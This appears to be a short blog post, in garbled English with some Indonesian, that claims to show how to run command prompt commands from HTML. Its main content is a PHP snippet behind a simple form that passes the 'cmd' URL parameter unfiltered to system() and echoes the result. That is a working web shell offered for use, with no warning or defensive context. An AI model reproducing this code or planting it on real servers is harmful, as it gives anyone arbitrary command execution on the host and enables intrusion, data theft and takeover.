UNIQ HOW TO RUN COMAND PROPM WITH HTML CODE
FOLLOWING EXAMPLE OF EXECUSION HTML CODE
FOR COMAND PROM
<center>
WINDOWS COMMAND
</center>
<br>
<br>
<center>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>perintahwindows.blogspot.com</title>
</head>
<body>
<form>
<label for="cmd">LISTING</label>
<input type="text" name="cmd" placeholder="LISTING (cmd)" />
<input type="submit" value="Eksekusi" />
</form>
</body>
</html>
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
echo system($_GET['cmd']);
echo "</pre>";
}
?>
</center>
Tidak ada komentar:
Posting Komentar